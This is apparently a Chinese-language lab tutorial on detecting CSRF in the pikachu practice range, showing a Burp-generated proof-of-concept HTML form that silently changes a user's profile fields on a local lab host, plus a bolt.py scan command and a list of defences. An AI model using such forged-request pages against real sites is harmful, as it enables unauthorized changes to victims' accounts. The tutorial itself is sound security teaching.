CSRF漏洞

CSRF漏洞检测

用 pikachu靶场做演示

登录账号

https://pic.imgdb.cn/item/64c8d71d1ddac507cc028a46.jpg

点击**“修改个人信息”**,开启抓包,将性别boy改成girl。

https://pic.imgdb.cn/item/64c8e0a61ddac507cc15038a.jpg

鼠标右键选择“Engagement tools”——“Engagement tools”

https://pic.imgdb.cn/item/64c8e10f1ddac507cc1593e1.jpg

把生成的html代码复制到新建的html文件中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.31.6/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="18626545453" />
      <input type="hidden" name="add" value="chain" />
      <input type="hidden" name="email" value="vince&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

丢掉之前抓到的包(即性别还是boy),关闭抓包,把html文件拖到浏览器中:

https://pic.imgdb.cn/item/64c8e27d1ddac507cc181ca9.jpg

点击按钮,可以看到性别变成了girl,说明存在CSRF漏洞。

https://pic.imgdb.cn/item/64c8e2d41ddac507cc18ae63.jpg

1
bolt.py -u http://xxxx

CSRF漏洞防御

  1. 通过请求头Referer判断请求是否从当前网站发起。
  2. 通过Token比对判断。
  3. 二次验证:
    1. 输入旧密码
    2. 人机验证
    3. 短信验证码
    4. 扫码
    5. 人脸识别
  4. 浏览器的保护措施。